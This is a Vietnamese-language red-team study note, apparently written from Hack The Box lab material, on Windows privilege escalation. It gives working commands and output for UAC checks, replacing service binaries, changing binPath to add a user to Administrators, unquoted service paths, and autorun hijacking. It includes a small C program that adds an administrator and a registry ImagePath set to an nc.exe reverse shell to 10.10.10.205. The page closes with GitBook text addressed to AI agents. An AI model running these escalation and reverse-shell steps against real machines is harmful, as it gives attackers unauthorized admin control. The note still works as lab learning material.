> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/attacking-the-os.md). # Attacking the OS User Account Control (UAC) User Account Control (UAC) là tính năng của Window giúp hạn chế quyền của user. Đơn giản là khi chúng ta login vào user thuộc nhóm Admin và UAC được bật. Thì Window sẽ tạo 2 accessToken : * Filtered Token (Medium Integrity) : Token này bị hạn chế quyền * Elevated Token (High Integrity) : full quyền Và mặc định sử dụng **Filtered Token**. Khi muốn sử dụng **Elevated Token** thì chúng ta cần thao tác "Run as Administrator" hoặc tìm cách để bypass UAC. Check xem UAC có đang bật hay không : ```powershell C:\htb> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` Checking UAC Level : ```powershell C:\htb> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` Bypass UAC dùng : Cần check version Window trước : ```powershell PS C:\htb> [environment]::OSVersion.Version Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` Sau đó tìm id tương ứng
build binary r chạy thôi. ## Weak Permissions Đây là nhóm kỹ thuật Privilege Escalation thông qua quyền yếu (**Weak Permissions**) Cách build binary để upload lên r exploit : `exploit.c` ```c #include #include int main() { system("cmd /c net localgroup Administrators /add"); return 0; } ``` build trên PwnBox ```shellscript x86_64-w64-mingw32-gcc exploit.c -o exploit.exe ``` Sau đó trigger shell mới lấy admin session ```shellscript runas /user:htb-student cmd ``` ### Permissive File System ACLs Kĩ thuật này cơ bản là tìm 1 service đang dừng mà nó có thể chạy với SYSTEM, và file binary path đó chúng ta có thể thay đổi được Exploit : Dùng [SharpUp](https://github.com/GhostPack/SharpUp/) để tìm coi có target nào hợp lý không ```powershell PS C:\htb> .\SharpUp.exe audit === SharpUp: Running Privilege Escalation Checks === === Modifiable Service Binaries === Name : SecurityService DisplayName : PC Security Management Service Description : Responsible for managing PC security State : Stopped StartMode : Auto PathName : "C:\Program Files (x86)\PCProtect\SecurityService.exe" ``` Service này đang dừng, check permission (F là **Full Control**) ```powershell PS C:\htb> icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe" C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F) Everyone:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) Successfully processed 1 files; Failed processing 0 files ``` Replace file binary và start service ```powershell C:\htb> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe" C:\htb> sc start SecurityService ``` ### Weak Service Permissions Còn kĩ thuật này là chúng ta có thể sửa config của Service (Thay binPath rồi start service là done) Scan : ```powershell C:\htb> SharpUp.exe audit === SharpUp: Running Privilege Escalation Checks === === Modifiable Services === Name : WindscribeService DisplayName : WindscribeService Description : Manages the firewall and controls the VPN tunnel State : Running StartMode : Auto PathName : "C:\Program Files (x86)\Windscribe\WindscribeService.exe" ``` Check permission bằng **accesschk** ( **SERVICE\_ALL\_ACCESS** là permission có thể sửa config) ```powershell C:\htb> accesschk.exe /accepteula -quvcw WindscribeService Accesschk v6.13 - Reports effective permissions for securable objects Copyright ⌐ 2006-2020 Mark Russinovich Sysinternals - www.sysinternals.com WindscribeService Medium Mandatory Level (Default) [No-Write-Up] RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS ``` Change Service BinPath ```powershell C:\htb> sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add" [SC] ChangeServiceConfig SUCCESS ``` Stop và Start Service ```powershell C:\htb> sc stop WindscribeService SERVICE_NAME: WindscribeService TYPE : 10 WIN32_OWN_PROCESS STATE : 3 STOP_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x4 WAIT_HINT : 0x0 C:\htb> sc start WindscribeService [SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion. ``` ### Unquoted Service Path Đây là kĩ thuật lợi dụng BinPath của Service không dùng dấu nháy bọc lại. Ví dụ binary path là: ```powershell C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe ``` Và Window sẽ không biết đâu là Binary Path thật sự, nó sẽ thử load từng binary như sau : ```powershell C:\Program.exe C:\Program Files.exe C:\Program Files (x86)\System.exe ,.... ``` Việc của chúng ta chỉ cần chèn trước Binary Path và cho nó restart hoặc rerun là done. **Searching Unquote Service Path :** Dùng cmd chạy, powershell sẽ bị lỗi quote ```powershell C:\htb> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ GVFS.Service GVFS.Service C:\Program Files\GVFS\GVFS.Service.exe Auto System Explorer Service SystemExplorerHelpService C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe Auto WindscribeService WindscribeService C:\Program Files (x86)\Windscribe\WindscribeService.exe Auto ``` Check Lại : ```powershell C:\htb> sc qc SystemExplorerHelpService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: SystemExplorerHelpService TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : System Explorer Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem ``` ### Permissive Registry ACLs Khi cấu hình của Service được lưu trong Registry Ví dụ : ``` ModelManagerService ``` sẽ có key là ```powershell HKLM\SYSTEM\CurrentControlSet\Services\ModelManagerService ``` Và có `ImagePath` là thứ khi Window start service sẽ đọc nó để run. Và khi chúng ta có quyền `KEY_ALL_ACCESS` của service đó thì chúng ta có thể sửa key value registry đó để sửa `ImagePath` thành binary malicious **Checking for Weak Service ACLs in Registry :** ```powershell C:\htb> accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services Accesschk v6.13 - Reports effective permissions for securable objects Copyright ⌐ 2006-2020 Mark Russinovich Sysinternals - www.sysinternals.com RW HKLM\System\CurrentControlSet\services\ModelManagerService KEY_ALL_ACCESS ``` **Change ImagePath :** ```powershell PS C:\htb> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443" ``` ### Modifiable Registry Autorun Binary Chúng ta cũng có thể attack vào Autorun Binary, kiểu như `OneDrive.exe` auto run khi user login. Thì nếu có quyền chỉnh sửa `Registry` thì vô ``` HKCU\Software\Microsoft\Windows\CurrentVersion\Run ``` sửa `OneDrive.exe` thành `payload.exe` hoặc nếu sửa được file exe ``` C:\Users\mrb3n\AppData\Local\Microsoft\OneDrive\OneDrive.exe ``` thì ghi đè thành ``` payload.exe -> OneDrive.exe ``` Cách này attack phải chờ victim login lại. ## Kernel Exploit CVE Window : Check Installed Updates : ```powershell PS C:\htb> systeminfo PS C:\htb> wmic qfe list brief PS C:\htb> Get-Hotfix ``` Này chủ yếu tìm version Window bị vuln rồi đục cve thôi. Vulnerable Services Exploit service chạy internal đang bị CVE mà chạy dưới quyền SYSTEM Recon : ```powershell C:\htb> wmic product get name Name Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910 Update for Windows 10 for x64-based Systems (KB4023057) Microsoft Visual C++ 2019 X86 Additional Runtime - 14.24.28127 VMware Tools Druva inSync 6.6.3 Microsoft Update Health Tools Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910 Update for Windows 10 for x64-based Systems (KB4480730) Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.24.28127 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/attacking-the-os.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.